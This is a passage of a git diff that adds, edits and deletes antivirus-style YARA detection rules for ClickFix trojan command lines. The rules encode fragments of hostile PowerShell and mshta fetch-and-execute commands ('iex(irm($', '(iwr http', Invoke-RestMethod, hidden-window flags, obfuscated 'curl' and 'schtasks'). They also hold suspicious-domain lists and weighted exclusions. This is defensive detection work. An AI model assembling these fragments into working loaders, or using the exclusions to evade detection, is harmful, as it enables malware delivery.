1)*100) >=2101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVE_MTB.yar new file mode 100644 index 0000000000..ead19b23e2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVE_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_ClickFix_GVE_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GVE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,61 09 61 09 07 00 00 " + + strings : + $a_00_0 = {2e 00 72 00 75 00 6e 00 28 00 27 00 } //1000 .run(' + $a_00_1 = {69 00 64 00 65 00 6e 00 74 00 69 00 66 00 69 00 63 00 61 00 } //1000 identifica + $a_00_2 = {6a 00 6f 00 69 00 6e 00 2d 00 70 00 61 00 74 00 68 00 20 00 24 00 } //100 join-path $ + $a_00_3 = {68 00 74 00 74 00 70 00 } //100 http + $a_00_4 = {73 00 74 00 61 00 72 00 74 00 } //100 start + $a_00_5 = {63 00 73 00 63 00 72 00 69 00 70 00 74 00 } //100 cscript + $a_00_6 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + condition: + ((#a_00_0 & 1)*1000+(#a_00_1 & 1)*1000+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*1) >=2401 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVF_MTB.yar new file mode 100644 index 0000000000..a98dfbce90 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVF_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_GVF_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GVF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff8d 00 ffffff8d 00 04 00 00 " + + strings : + $a_00_0 = {2e 00 78 00 79 00 7a 00 } //100 .xyz + $a_00_1 = {2e 00 72 00 65 00 70 00 4c 00 61 00 43 00 45 00 28 00 28 00 5b 00 43 00 68 00 41 00 72 00 5d 00 } //40 .repLaCE(([ChAr] + $a_00_2 = {6a 00 4f 00 69 00 4e 00 } //1 jOiN + $a_00_3 = {43 00 6c 00 6f 00 75 00 64 00 } //-100 Cloud + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*40+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-100) >=141 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVG_MTB.yar new file mode 100644 index 0000000000..e763630fee --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_GVG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GVG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffe9 03 ffffffe9 03 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {69 00 65 00 78 00 28 00 69 00 72 00 6d 00 28 00 24 00 } //500 iex(irm($ + $a_02_2 = {5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 24 00 [0-02] 2b 00 27 00 2e 00 27 00 2b 00 24 00 [0-02] 2b 00 27 00 2e 00 27 00 2b 00 24 00 [0-02] 2b 00 27 00 2e 00 27 00 2b 00 24 00 [0-02] 2b 00 24 00 [0-02] 3b 00 } //500 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*500+(#a_02_2 & 1)*500) >=1001 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVH_MTB.yar new file mode 100644 index 0000000000..ac1da3c815 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVH_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_ClickFix_GVH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GVH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 08 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {7c 00 69 00 65 00 78 00 } //1 |iex + $a_00_2 = {67 00 69 00 74 00 68 00 75 00 62 00 } //-100 github + $a_00_3 = {73 00 74 00 65 00 61 00 6d 00 } //-100 steam + $a_00_4 = {52 00 65 00 61 00 64 00 2d 00 48 00 6f 00 73 00 74 00 } //-100 Read-Host + $a_00_5 = {43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 46 00 72 00 6f 00 6d 00 } //-100 ConvertFrom + $a_00_6 = {50 00 61 00 73 00 73 00 54 00 68 00 72 00 75 00 } //-100 PassThru + $a_00_7 = {67 00 69 00 74 00 6c 00 61 00 62 00 } //-100 gitlab + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-100+(#a_00_3 & 1)*-100+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-100+(#a_00_6 & 1)*-100+(#a_00_7 & 1)*-100) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HA_MTB.yar new file mode 100644 index 0000000000..970d812193 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_HA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_02_0 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 [0-02] 27 00 2c 00 27 00 27 00 29 00 } //10 + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + condition: + ((#a_02_0 & 1)*10+(#a_00_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HC_MTB.yar new file mode 100644 index 0000000000..3e1eec8fe7 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_HC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.HC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,3c 00 3c 00 05 00 00 " + + strings : + $a_00_0 = {28 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 } //25 (iwr http + $a_00_1 = {69 00 65 00 78 00 } //25 iex + $a_00_2 = {2d 00 75 00 73 00 65 00 62 00 29 00 } //10 -useb) + $a_00_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //5 powershell + $a_00_4 = {64 00 71 00 61 00 6b 00 61 00 67 00 6b 00 61 00 7a 00 71 00 62 00 34 00 61 00 63 00 67 00 61 00 61 00 71 00 62 00 33 00 61 00 68 00 69 00 61 00 69 00 61 00 62 00 6f 00 61 00 68 00 71 00 61 00 64 00 61 00 62 00 77 00 61 00 68 00 } //55 dqakagkazqb4acgaaqb3ahiaiaboahqadabwah + condition: + ((#a_00_0 & 1)*25+(#a_00_1 & 1)*25+(#a_00_2 & 1)*10+(#a_00_3 & 1)*5+(#a_00_4 & 1)*55) >=60 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HD_MTB.yar new file mode 100644 index 0000000000..f978615d34 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_HD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.HD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {2e 00 68 00 74 00 61 00 } //-10 .hta + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*10+(#a_00_2 & 1)*-10) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HE_MTB.yar new file mode 100644 index 0000000000..97a4fd9419 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_HE_MTB{ + meta: + description = "Trojan:Win32/ClickFix.HE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffca 00 ffffffca 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 invoke-expression $script + $a_00_2 = {69 00 65 00 78 00 20 00 24 00 73 00 63 00 72 00 69 00 70 00 74 00 } //1 iex $script + $a_00_3 = {24 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 3d 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 2d 00 55 00 72 00 69 00 } //200 $script = Invoke-RestMethod -Uri + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*200) >=202 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HH_MTB.yar new file mode 100644 index 0000000000..9b717c24d2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HH_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_ClickFix_HH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.HH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff97 00 ffffff97 00 08 00 00 " + + strings : + $a_00_0 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 } //1 -W HiDdEn -C + $a_00_1 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -WindowStyle hidden -Command + $a_00_2 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_3 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //1 -w 1 -c + $a_00_4 = {e2 00 80 00 95 00 57 00 20 00 68 00 20 00 2d 00 63 00 } //1 + $a_00_5 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + $a_00_6 = {2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 } //50 -replace + $a_00_7 = {28 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //100 ([Convert]::FromBase64String($ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*50+(#a_00_7 & 1)*100) >=151 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HI_MTB.yar new file mode 100644 index 0000000000..6a013d2a7e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_HI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_HI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.HI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 00 " + + strings : + $a_00_0 = {7c 00 69 00 65 00 78 00 20 00 23 00 } //100 |iex # + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_2 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_J_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_J_MTB.yar index 79ec59b6c2..0eb60814c7 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_J_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_J_MTB.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_ClickFix_J_MTB{ meta: - description = "Trojan:Win32/ClickFix.J!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 07 00 00 " + description = "Trojan:Win32/ClickFix.J!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 08 00 00 " strings : $a_00_0 = {68 00 74 00 74 00 70 00 } //10 http @@ -11,7 +11,8 @@ rule Trojan_Win32_ClickFix_J_MTB{ $a_00_4 = {2e 00 6d 00 70 00 34 00 } //1 .mp4 $a_00_5 = {2e 00 6d 00 70 00 33 00 } //1 .mp3 $a_00_6 = {2e 00 66 00 6c 00 76 00 } //1 .flv + $a_00_7 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=41 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*-100) >=41 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_L_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_L_MTB.yar index 066f76b20b..0c1784a308 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_L_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_L_MTB.yar @@ -1,14 +1,16 @@ rule Trojan_Win32_ClickFix_L_MTB{ meta: - description = "Trojan:Win32/ClickFix.L!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + description = "Trojan:Win32/ClickFix.L!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 06 00 00 " strings : $a_00_0 = {68 00 74 00 74 00 70 00 } //1 http $a_00_1 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta $a_00_2 = {63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 captcha $a_00_3 = {76 00 65 00 72 00 69 00 66 00 } //1 verif + $a_00_4 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + $a_00_5 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-1000) >=4 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_MY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_MY_MTB.yar new file mode 100644 index 0000000000..a49bd7a29e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_MY_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_ClickFix_MY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.MY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {2e 00 70 00 68 00 70 00 } //1 .php + $a_00_3 = {27 00 77 00 27 00 2b 00 27 00 73 00 63 00 27 00 2b 00 27 00 72 00 27 00 2b 00 27 00 69 00 70 00 74 00 } //1 'w'+'sc'+'r'+'ipt + $a_00_4 = {27 00 72 00 61 00 27 00 2b 00 27 00 6d 00 64 00 61 00 74 00 61 00 } //1 'ra'+'mdata + $a_00_5 = {63 00 75 00 72 00 27 00 2b 00 27 00 6c 00 2e 00 65 00 27 00 2b 00 27 00 78 00 65 00 } //1 cur'+'l.e'+'xe + $a_00_6 = {27 00 73 00 27 00 2b 00 27 00 63 00 68 00 74 00 27 00 20 00 2b 00 20 00 27 00 61 00 73 00 6b 00 73 00 27 00 } //1 's'+'cht' + 'asks' + $a_00_7 = {63 00 72 00 65 00 27 00 2b 00 27 00 61 00 74 00 65 00 } //1 cre'+'ate + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_RXH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_RXH_MTB.yar new file mode 100644 index 0000000000..d919f490db --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_RXH_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_RXH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.RXH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,12 00 12 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 27 00 } //5 ).Downlo' + $a_00_2 = {68 00 74 00 74 00 70 00 } //2 http + $a_00_3 = {2d 00 4a 00 6f 00 69 00 6e 00 } //1 -Join + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*5+(#a_00_2 & 1)*2+(#a_00_3 & 1)*1) >=18 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SA.yar index 4a5fafc289..3522ea68fe 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SA.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SA.yar @@ -1,12 +1,13 @@ rule Trojan_Win32_ClickFix_SA{ meta: - description = "Trojan:Win32/ClickFix.SA,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 00 " + description = "Trojan:Win32/ClickFix.SA,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 03 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell $a_00_1 = {20 00 05 27 20 00 } //10 ✅ + $a_00_2 = {20 00 14 27 20 00 } //10 ✔ condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10) >=20 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=20 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SAA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SAA.yar new file mode 100644 index 0000000000..f427a6a0d5 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SAA.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_SAA{ + meta: + description = "Trojan:Win32/ClickFix.SAA,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta + $a_00_1 = {20 00 05 27 20 00 } //10 ✅ + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SDA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SDA.yar new file mode 100644 index 0000000000..e7ba25f2a7 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SDA.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win32_ClickFix_SDA{ + meta: + description = "Trojan:Win32/ClickFix.SDA,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 0a 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {20 00 69 00 65 00 78 00 } //10 iex + $a_00_3 = {69 00 77 00 72 00 } //10 iwr + $a_00_4 = {69 00 72 00 6d 00 } //10 irm + $a_00_5 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //10 invoke-expression + $a_00_6 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 } //-500 msiexec.exe + $a_00_7 = {2e 00 70 00 73 00 31 00 } //-500 .ps1 + $a_00_8 = {2e 00 68 00 74 00 61 00 } //-500 .hta + $a_00_9 = {64 00 6d 00 6c 00 2e 00 62 00 70 00 77 00 65 00 62 00 2e 00 62 00 70 00 2e 00 63 00 6f 00 6d 00 } //-500 dml.bpweb.bp.com + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*-500+(#a_00_7 & 1)*-500+(#a_00_8 & 1)*-500+(#a_00_9 & 1)*-500) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SE.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SE.yar deleted file mode 100644 index beb703b013..0000000000 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SE.yar +++ /dev/null @@ -1,54 +0,0 @@ - -rule Trojan_Win32_ClickFix_SE{ - meta: - description = "Trojan:Win32/ClickFix.SE,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 2c 00 00 " - - strings : - $a_00_0 = {68 74 74 70 } //100 http - $a_00_1 = {2e 00 74 00 6f 00 70 00 } //1 .top - $a_00_2 = {2e 00 62 00 69 00 7a 00 } //1 .biz - $a_00_3 = {2e 00 69 00 6e 00 66 00 6f 00 } //1 .info - $a_00_4 = {2e 00 6c 00 69 00 6e 00 6b 00 } //1 .link - $a_00_5 = {2e 00 6c 00 6f 00 61 00 6e 00 } //1 .loan - $a_00_6 = {2e 00 72 00 65 00 76 00 69 00 65 00 77 00 } //1 .review - $a_00_7 = {2e 00 77 00 6f 00 72 00 6b 00 } //1 .work - $a_00_8 = {2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 } //1 .stream - $a_00_9 = {2e 00 63 00 6c 00 75 00 62 00 } //1 .club - $a_00_10 = {2e 00 70 00 61 00 72 00 74 00 79 00 } //1 .party - $a_00_11 = {2e 00 73 00 74 00 75 00 64 00 79 00 } //1 .study - $a_00_12 = {2e 00 74 00 65 00 63 00 68 00 6e 00 6f 00 6c 00 6f 00 67 00 79 00 } //1 .technology - $a_00_13 = {2e 00 67 00 64 00 6e 00 } //1 .gdn - $a_00_14 = {2e 00 72 00 65 00 69 00 73 00 65 00 } //1 .reise - $a_00_15 = {2e 00 79 00 6f 00 6b 00 6f 00 68 00 61 00 6d 00 61 00 } //1 .yokohama - $a_00_16 = {2e 00 76 00 69 00 70 00 } //1 .vip - $a_00_17 = {2e 00 72 00 65 00 6e 00 } //1 .ren - $a_00_18 = {2e 00 63 00 6f 00 75 00 6e 00 74 00 72 00 79 00 } //1 .country - $a_00_19 = {2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //1 .download - $a_00_20 = {2e 00 72 00 61 00 63 00 69 00 6e 00 67 00 } //1 .racing - $a_00_21 = {2e 00 73 00 63 00 69 00 65 00 6e 00 63 00 65 00 } //1 .science - $a_00_22 = {2e 00 73 00 68 00 6f 00 70 00 } //1 .shop - $a_00_23 = {2e 00 78 00 79 00 7a 00 } //1 .xyz - $a_00_24 = {2e 00 69 00 63 00 75 00 } //1 .icu - $a_00_25 = {2e 00 6c 00 61 00 74 00 } //1 .lat - $a_00_26 = {2e 00 66 00 75 00 6e 00 } //1 .fun - $a_00_27 = {2e 00 62 00 65 00 74 00 } //1 .bet - $a_00_28 = {2e 00 6c 00 69 00 76 00 65 00 } //1 .live - $a_00_29 = {2e 00 6c 00 69 00 66 00 65 00 } //1 .life - $a_00_30 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 } //1 .online - $a_00_31 = {2e 00 62 00 6f 00 6e 00 64 00 } //1 .bond - $a_00_32 = {2e 00 77 00 6f 00 72 00 6c 00 64 00 } //1 .world - $a_00_33 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 } //1 .click - $a_00_34 = {2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 } //1 .forest - $a_00_35 = {2e 00 6d 00 70 00 33 00 } //1 .mp3 - $a_00_36 = {2e 00 6d 00 70 00 34 00 } //1 .mp4 - $a_00_37 = {2e 00 66 00 6c 00 76 00 } //1 .flv - $a_00_38 = {2e 00 6d 00 64 00 62 00 } //1 .mdb - $a_00_39 = {2e 00 65 00 70 00 73 00 } //1 .eps - $a_00_40 = {2e 00 64 00 61 00 74 00 } //1 .dat - $a_00_41 = {2e 00 63 00 64 00 61 00 } //1 .cda - $a_00_42 = {2e 00 6d 00 34 00 61 00 } //1 .m4a - $a_00_43 = {2e 00 78 00 6c 00 6c 00 } //1 .xll - condition: - ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*1+(#a_00_33 & 1)*1+(#a_00_34 & 1)*1+(#a_00_35 & 1)*1+(#a_00_36 & 1)*1+(#a_00_37 & 1)*1+(#a_00_38 & 1)*1+(#a_00_39 & 1)*1+(#a_00_40 & 1)*1+(#a_00_41 & 1)*1+(#a_00_42 & 1)*1+(#a_00_43 & 1)*1) >=101 - -} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SEZ.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SEZ.yar new file mode 100644 index 0000000000..1877fed6d9 --- /dev/null +++ 